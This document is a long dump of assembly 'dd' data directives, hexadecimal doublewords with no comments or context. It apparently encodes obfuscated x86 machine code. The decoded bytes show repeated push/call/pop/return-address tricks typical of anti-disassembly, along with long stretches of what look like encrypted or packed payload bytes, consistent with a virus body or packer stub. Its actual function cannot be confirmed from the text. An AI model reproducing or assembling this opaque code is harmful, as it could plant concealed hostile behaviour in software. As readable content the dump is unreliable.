dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 4DC35545h, 3F9F93BAh
dd 45858D01h, 6A0615B5h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 19042444h, 47000000h, 0BECDC357h, 86B0C0E4h
dd 94DF8166h, 525050D9h, 38F0Fh, 8B660000h, 0E8310FCEh
dd 12h, 0BFA507ABh, 91256367h, 0E0Dh, 0C5F66202h, 0D2BAAFF4h
dd 5A21B056h, 489585Ah, 32BA6624h, 0B595FF7Eh, 8B061212h
dd 12099595h, 0F8C08B06h, 1B91BD83h, 75000612h, 0DDBD8309h
dd 61217h, 53501374h, 0D0B8C08Bh, 8D000004h, 14AC4A9Dh
dd 5BD3FF06h, 0DDBD8358h, 61217h, 53501174h, 4D0B8h, 499D8D00h
dd 0FF0614ABh, 6A585BD3h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1D042444h, 46000000h, 6A66C356h, 0E7A0BD7Fh
dd 697D81ABh, 8B665350h, 8B5959F8h, 56006AC0h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 0FE1076E5h
dd 15958928h, 66061229h, 58C0B6BFh, 26C5958Bh, 0BD890612h
dd 61221A1h, 810008C2h, 5C2243E2h, 56C08B5Eh, 0A19D8B60h
dd 51061217h, 8D5F615Bh, 15B5CB85h, 2CC58006h, 26618589h
dd 39EB0612h, 0C20000h, 0C202CCh, 0C202E4h, 0
dd 35BE7674h, 4A77A47h, 50B67269h, 3DBD7677h, 3CB7316Dh
dd 49D1F6Ch, 509F5344h, 209C6B4Eh, 38877165h, 34B27A72h
dd 50B97F00h, 50D0F753h, 0BF31F00h, 0C5A44C3h, 14521B24h
dd 50C51B24h, 3901F00h, 37C32AC3h, 53168289h, 90581912h
dd 0B8811F6Ah, 50D31F03h, 0A104520h, 54F74B89h, 54F75B81h
dd 50D31F16h, 0A0104D42h, 0C55812EDh, 56C11CE9h, 4B42A283h
dd 25D31912h, 8D6E9C09h, 50D50D17h, 3830674h, 0E96BDF8Bh
dd 0D9D31F04h, 42D39A85h, 5F4E9206h, 0AFD50BAEh, 0D38B44D3h
dd 42C4C2BDh, 47A71F06h, 0E96B4C50h, 0D9D31F04h, 42D39A85h
dd 0AE4E9206h, 0AFD50BAAh, 0D98B44D3h, 42CAE695h, 50C7F706h
dd 37541F00h, 8FCED53Bh, 65D4A453h, 1789D7A3h, 52D17F03h
dd 0DBB5B65Ch, 905840CAh, 0B8861F6Ah, 50D31F03h, 0D104220h
dd 54F77389h, 54F75B81h, 50D31F1Dh, 0B6104A45h, 0C8DA129Ah
dd 917696BEh, 0C15E16DFh, 96D50D09h, 42FB6E85h, 0EAB54906h
dd 4ABB7D38h, 0B8EE3D52h, 50D31F07h, 42B80EDDh, 0DABD3564h
dd 545246F5h, 0D6B52724h, 6D3755Fh, 50D31CE8h, 938D3F00h
dd 74A7965Eh, 74979E04h, 50D30B04h, 93855900h, 0D4169F0Dh
dd 0E52CF58Ah, 56C12FE9h, 5012928Bh, 0D55E1912h, 56C66035h
dd 0AF2BA00Fh, 50D4F6D0h, 0F5251F00h, 5720CEF8h, 0B8D7753Dh
dd 50D31F12h, 67F44D5Ch, 0FCAAB2ACh, 48A25A6Fh, 0ECCA764h
dd 366F4A3h, 3FE6775Ah, 573BF2C6h, 0A2D31F00h, 0F7B5C33Fh
dd 5D3B8938h, 0BED31F00h, 5F509A1Eh, 0DD188869h, 0D1D8561h
dd 5452415Ah, 6973D424h, 7D37512h, 50D31CE8h, 938C3F00h
dd 74AF965Fh, 74979E04h, 50D30704h, 93845800h, 0D49CDFE9h
dd 80584C64h, 13099E5Fh, 0B8E87493h, 50D31F04h, 50D31DECh
dd 29466h, 54F75B8Bh, 5058CE8Bh, 501518BEh, 7497967Ah
dd 50B94704h, 50D0F753h, 0BF31F00h, 0C5A44C3h, 14521B24h
dd 50CB1B24h, 3901F00h, 9E6833C3h, 85536C6Ch, 3AD3751Bh
dd 533B4C00h, 70D31F00h, 0D988DC5Bh, 0D1D73B5Ch, 48D73B44h
dd 13D31F00h, 0EB98DC53h, 0D9C03EDFh, 42F35A85h, 0F96E9406h
dd 0AFD50D1Ch, 0C15696D0h, 0D9D50D16h, 451B1985h, 5D37506h
dd 50D31CE8h, 938E3F00h, 74BF965Dh, 74979E04h, 50D30B04h
dd 93865A00h, 552B94FDh, 50D31DCCh, 98D99A89h, 90501915h
dd 5E569618h, 63D50AC8h, 523FA6C0h, 0FA201F00h, 50B944B1h
dd 50D0F757h, 0FF31F00h, 2C5A40C3h, 14521B24h, 50CA1B24h
dd 7941F00h, 0A9981DC3h, 0EAADF253h, 7B886CFBh, 78A29AC6h
dd 36901912h, 543BE78Bh, 0ED31F00h, 14F786Bh, 4726A066h
dd 14584F5Ah, 2C6C1B24h, 0DBE7D690h, 0A8587F00h, 5F814F60h
dd 0B88B4531h, 50D31F0Ah, 0BBFA5C77h, 0CDF487D8h, 3189CE2Bh
dd 74979661h, 0A9587904h, 3D37558h, 50D31CE8h, 93883F00h
dd 748F965Bh, 74979E04h, 50D30904h, 93805C00h, 5F8DEE71h
dd 50D31F8Ah, 50D4F700h, 841C1F00h, 614071A5h, 99469696h
dd 0FD50D0Ch, 0E52CEF8Bh, 56C12FE9h, 910DD81h, 0D55E541Eh
dd 56C66035h, 0B8811F6Ah, 50D31F03h, 0A104520h, 54F74B89h
dd 54F75B81h, 50D31F14h, 0F104D42h, 50D0950Fh, 0DBB51F00h
dd 0D1B54FF1h, 0A9A3DC7h, 50B9CFFFh, 50D0F750h, 8F31F00h
dd 145A47C3h, 14521B24h, 50CB1B24h, 931F00h, 800331C3h
dd 0D55A0D02h, 56C10321h, 0B8841F6Ah, 50D31F03h, 0F104020h
dd 54F76389h, 54F75B81h, 50D31F16h, 69104847h, 5A3A248Ch
dd 0AED31F00h, 0A315E8EBh, 66B98872h, 50DEF607h, 0A68C1F00h
dd 4F5222D8h, 0A62C19E1h, 0DDDE2EB8h, 42D6D685h, 0D918AA06h
dd 42DEAA85h, 7D37506h, 50D31CE8h, 938C3F00h, 74AF965Fh
dd 74979E04h, 50D30204h, 93845800h, 5E940077h, 95A5DFFAh
dd 413A8374h, 0CAD31F00h, 7D3E0F9Bh, 0EC06C79Eh, 3FEDD841h
dd 67F01FE7h, 78A29AC6h, 0D9801912h, 42F99A95h, 98547706h
dd 6452D342h, 0A3534024h, 2D37530h, 50D31CE8h, 93893F00h
dd 7487965Ah, 74979E04h, 50D30704h, 93815D00h, 7D202894h
dd 0A16C1054h, 603AAAFFh, 0E9B51912h, 0D55E5AF2h, 56C66035h
dd 0B8841F6Ah, 50D31F03h, 0F104020h, 54F76389h, 54F75B81h
dd 50D31F18h, 6E104847h, 90195BC6h, 503A9A89h, 0D9831912h
dd 42FA02B5h, 0D5D24606h, 56C11E85h, 50B9CFFFh, 50D0F756h
dd 0EF31F00h, 245A41C3h, 14521B24h, 50C91B24h, 6951F00h
dd 0BA66BC3h, 0C3CE9FCh, 491E9A89h, 0D691912h, 96EBFE3Fh
dd 42FB6E85h, 0ED5A4C06h, 56C10B75h, 39B6DC68h, 0DA817FEEh
dd 5E3B46D4h, 0FFD31F00h, 3DE12160h, 0C7806496h, 32C49E05h
dd 0EB27F39h, 74E79E61h, 66A2BE70h, 50DCF653h, 0C7E51F00h
dd 1808950Eh, 0A12FD3F3h, 0AE86E2E3h, 0E55A409Bh, 56C10699h
dd 603AAAFFh, 50B91912h, 50D0F755h, 0DF31F00h, 3C5A42C3h
dd 14521B24h, 50C41B24h, 5961F00h, 0DCE05AC3h, 0D9329E95h
dd 0DDF701A8h, 45AC2A85h, 155E9406h, 0AFD50D29h, 3D375D0h
dd 50D31CE8h, 93883F00h, 748F965Bh, 74979E04h, 50D30B04h
dd 93805C00h, 0D55AE67Dh, 56C105A9h, 597E8A89h, 0D5151912h
dd 56C13771h, 1D37547h, 50D31CE8h, 938A3F00h, 749F9659h
dd 74979E04h, 50D30804h, 93825E00h, 31C5816h, 4C9E9223h
dd 83BB1912h, 7E086Fh, 83587952h, 8892E0Fh, 2AF72B81h
dd 3AC9D6B2h, 533B4C00h, 70D31F00h, 0D988DC5Bh, 0D1D73B5Ch
dd 4DD73B44h, 13D31F00h, 8336DC53h, 0C19D18EEh, 378FDF60h
dd 48F2A28Bh, 0E52C1912h, 56C12FE9h, 0B8811F6Ah, 50D31F03h
dd 0A104520h, 54F74B89h, 54F75B81h, 50D31F19h, 0B9104D42h
dd 0F1F316E5h, 15469658h, 0DDD50D0Eh, 45AC2A85h, 7D37506h
dd 50D31CE8h, 938C3F00h, 74AF965Fh, 74979E04h, 50D30204h
dd 93845800h, 0A236C7CEh, 0DB100D78h, 802C6560h, 0B8841F6Ah
dd 50D31F03h, 0F104020h, 54F76389h, 54F75B81h, 50D31F18h
dd 4F104847h, 0FD0D7C0Ah, 0D92A9466h, 42C73685h, 1D37506h
dd 50D31CE8h, 938A3F00h, 749F9659h, 74979E04h, 50D30804h
dd 93825E00h, 0B93A9811h, 0D515CF8Bh, 56C13771h, 39569647h
dd 38D50D23h, 0D5BA0CBEh, 6452CB8Ah, 0E5D0DB24h, 7D37504h
dd 50D31CE8h, 938C3F00h, 74AF965Fh, 74979E04h, 50D30304h
dd 93845800h, 0BAC8BD01h, 0E5E2AF21h, 0F96616FFh, 0E2D50D14h
dd 0B966E08Ah, 0DBD50D30h, 42F1AA95h, 0EE019E06h, 0DDADC881h
dd 45AC2A85h, 5D37506h, 50D31CE8h, 938E3F00h, 74BF965Dh
dd 74979E04h, 50D30804h, 93865A00h, 2C2ED7ECh, 50B9CFFFh
dd 50D0F751h, 9F31F00h, 1C5A46C3h, 14521B24h, 50CE1B24h
dd 1921F00h, 1996A8C3h, 0C935C7B9h, 306A3ABBh, 512EA289h
dd 0DDDA1912h, 56C10475h, 99641061h, 4D629A89h, 50B91912h
dd 50D0F755h, 0DF31F00h, 3C5A42C3h, 14521B24h, 50C91B24h
dd 5961F00h, 0FF25A3C3h, 24C3D3C7h, 53239466h, 42CC8695h
dd 2156D906h, 17D50D28h, 0B8821F6Ah, 50D31F03h, 9104620h
dd 54F75389h, 54F75B81h, 50D31F1Ch, 0E5104E41h, 0E0091584h
dd 253EF710h, 567AAA31h, 0E7BB1912h, 0D1856553h, 0B8753B04h
dd 0DBB54B52h, 0B966E0F2h, 3AD50D30h, 533B4D00h, 70D31F00h
dd 0D989DC5Ah, 0D1D73B54h, 4AD73B44h, 12D31F00h, 7522DC52h
dd 7E978537h, 52551064h
dd 0DBD31F00h, 565D10D0h, 0DBD31F00h, 42C816B5h, 65569206h
dd 3AD50A7Fh, 533B4F00h, 70D31F00h, 0D98BDC58h, 0D1D73B44h
dd 45D73B44h, 10D31F00h, 0FFDFDC50h, 0EE95FE81h, 802C4DC9h
dd 4BC2A28Bh, 0D55A1912h, 56C11689h, 0B8841F6Ah, 50D31F03h
dd 0F104020h, 54F76389h, 54F75B81h, 50D31F18h, 68104847h
dd 0DEC819C5h, 3A03E0F9h, 533B4C00h, 70D31F00h, 0D988DC5Bh
dd 0D1D73B5Ch, 47D73B44h, 13D31F00h, 9D12DC53h, 0D55A7508h
dd 56C135B9h, 0B8851F6Ah, 50D31F03h, 0E104120h, 54F76B89h
dd 54F75B81h, 50D31F15h, 0D4104946h, 45663C58h, 36D50D00h
dd 50B9C78Ch, 50D0F750h, 8F31F00h, 145A47C3h, 14521B24h
dd 50C41B24h, 931F00h, 98658BC3h, 3AD73B17h, 533B4C00h
dd 70D31F00h, 0D988DC5Bh, 0D1D73B5Ch, 4DD73B44h, 13D31F00h
dd 0B79DDC53h, 0F3CED979h, 0FA5E95F0h, 90D9EF8Ah, 53969B0Fh
dd 50B91F00h, 50D0F756h, 0EF31F00h, 245A41C3h, 14521B24h
dd 50C91B24h, 6951F00h, 66958EC3h, 0DC78DB0Bh, 54029289h
dd 0D5151912h, 56C13771h, 6D3754Fh, 50D31CE8h, 938D3F00h
dd 74A7965Eh, 74979E04h, 50D30204h, 93855900h, 8F801C68h
dd 9360EB89h, 0DDD03CFAh, 56C13DD5h, 545A8A89h, 7BBB1912h
dd 369DC2DBh, 0D185CCB9h, 0C14A3B04h, 50B96FA2h, 50D0F757h
dd 0FF31F00h, 2C5A40C3h, 14521B24h, 50C51B24h, 7941F00h
dd 0BE0C5DC3h, 5BCCFD81h, 0E52C18C4h, 56C12FE9h, 0B8841F6Ah
dd 50D31F03h, 0F104020h, 54F76389h, 54F75B81h, 50D31F18h
dd 0C8104847h, 0B1B9B7FFh, 50D30FE9h, 6F851100h, 37897750h
dd 0DC0142D4h, 1ECF1E8Ah, 50D8F698h, 28C51F00h, 0B6BF6CF6h
dd 2A0D7925h, 65569241h, 3AD50A7Fh, 533B4900h, 70D31F00h
dd 0D98DDC5Eh, 0D1D73B74h, 4BD73B44h, 16D31F00h, 0ED96DC56h
dd 8A09CBBEh, 0A858AC60h, 50B9CFFFh, 50D0F755h, 0DF31F00h
dd 3C5A42C3h, 14521B24h, 50CF1B24h, 5961F00h, 0FEB1D5C3h
dd 0AAC61F69h, 0DB2B7885h, 42F9A295h, 74139C06h, 0B8831F6Ah
dd 50D31F03h, 8104720h, 54F75B89h, 54F75B81h, 50D31F1Bh
dd 0C4104F40h, 0EDCDD48h, 0D12C3E93h, 902878C1h, 29569626h
dd 0A8D50D23h, 7A6A9A8Bh, 0EEB51912h, 0CD5879E3h, 56C11689h
dd 0A91C9466h, 95E9643h, 0DBD50D11h, 4B58E71Bh, 0B8861F6Ah
dd 50D31F03h, 0D104220h, 54F77389h, 54F75B81h, 50D31F15h
dd 24104A45h, 1D6E962Ch, 0D9D50D23h, 42D7AAB5h, 3AC89406h
dd 533B4A00h, 70D31F00h, 0D98EDC5Dh, 0D1D73B6Ch, 4DD73B44h
dd 15D31F00h, 4919DC55h, 0D86766E5h, 51FF1Ah, 435E8289h
dd 88E01912h, 0B8831F6Ah, 50D31F03h, 8104720h, 54F75B89h
dd 54F75B81h, 50D31F1Ch, 14104F40h, 1D5CEF4Eh, 0C3150845h
dd 4FD2A231h, 0CD5A1912h, 56C12E65h, 0D515EF8Bh, 56C13771h
dd 496E9447h, 38D50D2Bh, 8A275366h, 0AB94A566h, 9FF72B81h
dd 3ABE3591h, 533B4A00h, 70D31F00h, 0D98EDC5Dh, 0D1D73B6Ch
dd 47D73B44h, 15D31F00h, 3750DC55h, 0D1B5AD27h, 0AFEA16C6h
dd 42E3F6B5h, 6D4E9606h, 0DDD50D15h, 45AC2A85h, 0B95E9406h
dd 0AFD50D1Fh, 7D375D0h, 50D31CE8h, 938C3F00h, 74AF965Fh
dd 74979E04h, 50D30504h, 93845800h, 0F85157D4h, 0D947C2F7h
dd 42C73685h, 1D37506h, 50D31CE8h, 938A3F00h, 749F9659h
dd 74979E04h, 50D30B04h, 93825E00h, 516E167Bh, 10D50D2Ah
dd 7D16AA89h, 0D3DC1912h, 50D31F06h, 289BD981h, 505857C2h
dd 0D55AED8Bh, 56C105E5h, 0D2DC1F8Bh, 50D31F04h, 162BA566h
dd 532A9A89h, 50B91912h, 50D0F757h, 0FF31F00h, 2C5A40C3h
dd 14521B24h, 50C41B24h, 7941F00h, 57F69EC3h, 7669794Fh
dd 5154F61Ah, 50B91F00h, 50D0F752h, 0AF31F00h, 45A45C3h
dd 14521B24h, 50C71B24h, 2911F00h, 443A0FC3h, 19D31F00h
dd 0B8EE0F3h, 17A2904h, 0D2B934A0h, 8DB8B582h, 0DD7A70E0h
dd 451B3385h, 5D37506h, 50D31CE8h, 938E3F00h, 74BF965Dh
dd 74979E04h, 50D30304h, 93865A00h, 3E75A3C4h, 4A917C0Eh
dd 1B94B2h, 0D92A9466h, 50B93B04h, 50D0F752h, 0AF31F00h
dd 45A45C3h, 14521B24h, 50CF1B24h, 2911F00h, 20EAEFC3h
dd 38CA081Eh, 0D2DC815Dh, 50D31F06h, 0C11F081h, 0E280714Eh
dd 0C52C4673h, 56C13FC1h, 0B8831F6Ah, 50D31F03h, 8104720h
dd 54F75B89h, 54F75B81h, 50D31F1Ch, 92104F40h, 0CC0E30A3h
dd 19D58C75h, 0DD58C9B2h, 56C10C29h, 5426AA01h, 0CD5E1912h
dd 56C6D732h, 0B8861F6Ah, 50D31F03h, 0D104220h, 54F77389h
dd 54F75B81h, 50D31F1Dh, 0A0104A45h, 0E62B3B30h, 2A058DD4h
dd 3536A509h, 30401629h, 68644D50h, 0DBB52E0Fh, 0EF8B45D1h
dd 7C0A6C69h, 0A0584F61h, 0DD5E9693h, 0D50D21h, 5FDA6DB9h
dd 74D7960Fh, 0B8811F6Ah, 50D31F03h, 0A104520h, 54F74B89h
dd 54F75B81h, 50D31F15h, 38104D42h, 0EC219E47h, 0AF90151Bh
dd 42DAFE95h, 0CC697906h, 295696FAh, 3AD50D23h, 533B4900h
dd 70D31F00h, 0D98DDC5Eh, 0D1D73B74h, 4CD73B44h, 16D31F00h
dd 5DCBDC56h, 0AFF84C0Fh, 732CDE45h, 42CB56BDh, 2156D906h
dd 3D50D28h, 0B8801F6Ah, 50D31F03h, 0B104420h, 54F74389h
dd 54F75B81h, 50D31F1Dh, 0D5104C43h, 0D7EFEBB4h, 7CA1196Ah
dd 276E77CFh, 9A582A7Eh, 92F71B81h, 3AA6160Ch, 533B4D00h
dd 70D31F00h, 0D989DC5Ah, 0D1D73B54h, 45D73B44h, 12D31F00h
dd 3638DC52h, 603AAAFFh, 0E5581912h, 56C10495h, 50D316E8h
dd 4E3BD400h, 94ABBB1Fh, 403ADC46h, 0F4D31F00h, 0A1BE70A4h
dd 0AA919C62h, 24302D8Ch, 0E91AA42h, 2FE69A8Dh, 0ED581915h
dd 56C1020Dh, 54EE8289h, 802C1912h, 0B8851F6Ah, 50D31F03h
dd 0E104120h, 54F76B89h, 54F75B81h, 50D31F1Ch, 0A3104946h
dd 0B27B78EEh, 0B3A56963h, 0B7BCD581h, 0D55A34C3h, 56C119A5h
dd 0D515CE8Bh, 56C13771h, 0D37547h, 50D31CE8h, 938B3F00h
dd 74979658h, 74979E04h, 50D30504h, 93835F00h, 0CD11C9EAh
dd 5FB7DF18h, 50D31988h, 15569600h, 0D9D50D29h, 42D01285h
dd 5707706h, 6452EAE3h, 0C1932C24h, 7D37554h, 50D31CE8h
dd 938C3F00h, 74AF965Fh, 74979E04h, 50D30404h, 93845800h
dd 35594776h, 61B511FBh, 0E52CEAF8h, 56C12FE9h, 0B8811F6Ah
dd 50D31F03h, 0A104520h, 54F74B89h, 54F75B81h, 50D31F16h
dd 0A8104D42h, 0C5F00280h, 56C107BDh, 2FE69A8Dh, 50B91915h
dd 50D0F757h, 0FF31F00h, 2C5A40C3h, 14521B24h, 50C81B24h
dd 7941F00h, 1CE88EC3h, 1E2A031Ah, 87527953h, 802CCB30h
dd 0B8831F6Ah, 50D31F03h, 8104720h, 54F75B89h, 54F75B81h
dd 50D31F15h, 6B104F40h, 8E6A7902h, 555696B3h, 3AD50D1Ch
dd 533B4E00h, 70D31F00h, 0D98ADC59h, 0D1D73B4Ch, 4BD73B44h
dd 11D31F00h, 12DDDC51h, 3C467CD7h, 0D1DCF520h, 50D31F06h
dd 53EA9A29h, 0D5151912h, 56C13771h, 0DBEBA153h, 92BB7AD8h
dd 0DA847C93h, 74D79ECAh, 1106D4CEh, 4D6E8289h, 0E52C1912h
dd 56C12FE9h, 0B8801F6Ah, 50D31F03h, 0B104420h, 54F74389h
dd 54F75B81h, 50D31F1Ch, 20104C43h, 81A4C55h, 1DAB8CE7h
dd 4553C081h, 0E7DC7E28h, 655692CAh, 0B9D50A7Fh, 50D31F0Bh
dd 0CEAF1B49h, 0AA385C99h, 0AFEE93BBh, 2D375D0h, 50D31CE8h
dd 93893F00h, 7487965Ah
dd 74979E04h, 50D30304h, 93815D00h, 6DB436C7h, 0F17DF546h
dd 615696DEh, 63D50D1Bh, 42C33A8Dh, 2156D906h, 7D50D28h
dd 0CD5ACE8Bh, 56C13D7Dh, 0BE25FA68h, 0D10295A8h, 0F4303B34h
dd 0AF2A27EAh, 42E3F6B5h, 7D37506h, 50D31CE8h, 938C3F00h
dd 74AF965Fh, 74979E04h, 50D30804h, 93845800h, 46A75805h
dd 2FE69A8Dh, 50B91915h, 50D0F752h, 0AF31F00h, 45A45C3h
dd 14521B24h, 50C61B24h, 2911F00h, 0AF0ABDC3h, 7D375D0h
dd 50D31CE8h, 938C3F00h, 74AF965Fh, 74979E04h, 50D30B04h
dd 93845800h, 50D8F7FFh, 8B241F00h, 333DC8A7h, 2778D262h
dd 21669439h, 0AD50D2Dh, 45328A01h, 0D55A1912h, 56C133B5h
dd 617E9289h, 0D5151912h, 56C13771h, 98641043h, 5EA55668h
dd 74D79EADh, 5F52E6DFh, 50D318E8h, 98534200h, 53F471B1h
dd 0AF8D1DB2h, 42E3F6B5h, 2D37506h, 50D31CE8h, 93893F00h
dd 7487965Ah, 74979E04h, 50D30704h, 93815D00h, 5E98E613h
dd 50C7F636h, 21331F00h, 0BFF4252Dh, 91756607h, 0A4B3DADAh
dd 8A683758h, 0D55E4B67h, 56C66035h, 0B8861F6Ah, 50D31F03h
dd 0D104220h, 54F77389h, 54F75B81h, 50D31F1Bh, 0B9104A45h
dd 24DB0877h, 0AFE12311h, 0B9827FD0h, 50D31F0Bh, 54C87B49h
dd 38044E76h, 815119Bh, 60329A8Bh, 0D9B21912h, 42FC5685h
dd 256E9406h, 0DBD50D0Ch, 42D496B5h, 72569206h, 0D1D50AC8h
dd 26044AC1h, 0E6B34F5Bh, 310C942Fh, 0D9F71B89h, 42CC8685h
dd 59569606h, 0AFD50D05h, 42F3DE95h, 1D37506h, 50D31CE8h
dd 938A3F00h, 749F9659h, 74979E04h, 50D30704h, 93825E00h
dd 2971E052h, 9652796Bh, 88580141h, 0D55EEBB6h, 56C6D716h
dd 0B8801F6Ah, 50D31F03h, 0B104420h, 54F74389h, 54F75B81h
dd 50D31F19h, 0EA104C43h, 6C7D8031h, 454E9601h, 0B9D50D1Eh
dd 50D31F08h, 7E203DBEh, 81421E19h, 0A8587F50h, 583A4D50h
dd 6CD31F00h, 9D2281E4h, 5F8F51B8h, 318B4531h, 3AF71B89h
dd 533B4D00h, 70D31F00h, 0D989DC5Ah, 0D1D73B54h, 4AD73B44h
dd 12D31F00h, 0FFCADC52h, 0CAE80820h, 50D6F7C0h, 0E70B1F00h
dd 3027BE24h, 9D219E66h, 825279BAh, 0EB2EB11h, 53561093h
dd 36D31F00h, 0C383ED8Bh, 45869A01h, 0C52C1912h, 56C116E1h
dd 51E69A89h, 50B91912h, 50D0F756h, 0EF31F00h, 245A41C3h
dd 14521B24h, 50CA1B24h, 6951F00h, 0DEE0C0C3h, 790DCFBCh
dd 42FF1685h, 1956D806h, 5FD50D14h, 30D31F00h, 421EA28Bh
dd 0D1B51912h, 313E5FD1h, 51E68AFFh, 0E55A1912h, 56C135D9h
dd 7FD69A89h, 50B91912h, 50D0F755h, 0DF31F00h, 3C5A42C3h
dd 14521B24h, 50CF1B24h, 5961F00h, 377FAEC3h, 1628A06h
dd 433A4058h, 26D31F00h, 0AAF2CBDBh, 0B522B9E9h, 3FDFE881h
dd 41303A25h, 0CD5A1371h, 56C1010Dh, 4CF29A8Bh, 0CD5E1912h
dd 56C6C478h, 0DDD25C89h, 42D6D6BDh, 2669206h, 0E9D50ADBh
dd 50D31F33h, 6338BBF3h, 50D31FB8h, 24131400h, 50CBDD03h
dd 5CF75B8Bh, 50D3F753h, 0D1881F00h, 50D308C3h, 748F9600h
dd 74979610h, 676B4414h, 0AFD3BDA0h, 749794E0h, 3A33E004h
dd 533B4A00h, 70D31F00h, 0D98EDC5Dh, 0D1D73B6Ch, 47D73B44h
dd 15D31F00h, 6950DC55h, 0B1539011h, 50B97E22h, 50D0F757h
dd 0FF31F00h, 2C5A40C3h, 14521B24h, 50CB1B24h, 7941F00h
dd 2F4848C3h, 0DDE047A4h, 56C100E9h, 50D316E9h, 1DF8D600h
dd 0DC949229h, 0ED5EB969h, 56C6D716h, 8B2B928Dh, 656B1915h
dd 634B39ABh, 42CEF685h, 911C3406h, 5350B97Fh, 50D0F7h
dd 0C30BF31Fh, 240C5A44h, 2414521Bh, 50C51Bh, 0E983901Fh
dd 8BA4F305h, 57006AD9h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1504h, 0C3574700h, 958B70B2h, 61231A5h, 54E9h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
dd 0EE92F58h, 10000000h, 0FBB1DF8Bh, 9FE42BFAh, 0E4D0C23Bh
dd 0F8F861A2h, 57006AC3h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1804h, 0C3574700h, 1219D1BEh, 0E9C08BFAh
dd 5, 0EC6B3BF6h, 91BD8368h, 6121Bh, 0BD830975h, 61217DDh
dd 50197400h, 0B8C08B53h, 4B9h, 22958589h, 9D8D0612h, 614AE76h
dd 585BD3FFh, 17DDBD83h, 74000612h, 0B8535017h, 4B9h, 22958589h
dd 9D8D0612h, 614AB17h, 585BD3FFh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ah, 0E1C35747h, 970A7BFFh, 0FCF91372h
dd 8E960h, 69060000h, 0D29CD68h, 0BE9DB96h, 0F2000000h
dd 0D5AD10DBh, 20F6D7BFh, 8B612314h, 0A800FC0h, 60000000h
dd 8C0Fh, 0F98B0000h, 0C18B4061h, 4EBh, 81660000h, 8D8762CFh
dd 122E0185h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1804h, 0C3514100h, 1EBF4678h, 0FA8B66A4h, 0BABE6650h
dd 50505F0Fh, 3981BF66h, 2404895Eh, 9E58589h, 6A0612h
dd 6AFBB70Fh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1804h, 0C3554500h, 0DBE55331h, 8DF28B7Dh, 15DE7E85h
dd 15B58906h, 83061211h, 6A05C0h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1C0424h, 53430000h, 712407C3h, 924D0AA9h
dd 0F78BFAF5h, 1811B529h, 0F500612h, 1085h, 4CB56000h
dd 7E9h, 0FA95C00h, 17321BFh, 24048961h, 2F919D89h, 6A0612h
dd 6AF8BF0Fh, 95FFF800h, 6120DB5h, 0AF029D8Dh, 6A0615h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
dd 48CFB6C3h, 4A0A94B7h, 8B231718h, 6AD3FFF9h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
dd 666AC357h, 0C97FC681h, 67985FFh, 57560612h, 17519D89h
dd 5F5F0612h, 749E9h, 0E800h, 815D0000h, 15DE88EDh, 840F5606h
dd 4, 39E5BF66h, 49BD815Fh, 0D0061214h, 0F000007h, 14886h
dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h
dd 0C3574700h, 8B023EB0h, 1222B19Dh, 85B58B06h, 0E9061202h
dd 8, 0DED0BC8Eh, 81EFD13Ch, 100E381h, 0B5090000h, 6122359h
dd 850FDB0Bh, 83h, 58E0Fh, 0A7BE0000h, 8318EA50h, 15DD44BDh
dd 840F0006h, 16h, 6840Fh, 66600000h, 612198BEh, 86E9h
dd 0EE816600h, 85C747BEh, 615DD44h, 1, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 19h, 9DC35343h, 0D7F3A15Dh, 8E9CAh
dd 0C3FA0000h, 0C9308B73h, 44E9774Fh, 0E8000000h, 0Ch
dd 7B87037Ch, 78FFE832h, 4743D599h, 7859589h, 0C75E0612h
dd 15DD4485h, 6, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1704h, 0C3504000h, 485BA135h, 8DF38B66h
dd 1222B19Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1704h, 0C3504000h, 0DC8D5C46h, 2E29B533h, 23810612h
dd 0FFFFFEFFh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 15h, 0B3C35646h, 0DB8C6602h, 4C3F6FCh, 5A840Fh, 6A0000h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
dd 53430000h, 0BD2306C3h, 6120145h, 13595FFh, 0BD8B0612h
dd 6120E81h, 15998589h, 50900612h, 118D0Fh, 0BE80000h
dd 1000000h, 0B7102540h, 1A1F14ECh, 905EAE6Dh, 6890Fh
dd 0BD8B0000h, 6120D69h, 423E9h, 18D0F00h, 0FC000000h
dd 6A00B0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
dd 57470000h, 0E94A85C3h, 0C12607D6h, 198D295Ah, 0E6061230h
dd 0E1BD2B70h, 0E4061230h, 52006A71h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 0B60F4B01h
dd 88D0FD8h, 0F000000h, 280h, 0BA5E5600h, 6, 495B589h
dd 0C38B0612h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 18h, 23C35343h, 4246C19h, 0B59D8B60h, 0B506121Dh, 0E8C161FCh
dd 50006A04h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h
dd 0C3504000h, 0FEFD82C7h, 0BD89D473h, 6120509h, 17759509h
dd 0F7660612h, 36BF66E2h, 6AD82BA2h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 81D5C357h
dd 0BBE7B047h, 9EBFC67Bh, 0BE6650F5h, 1C89D22Dh, 56006A24h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h
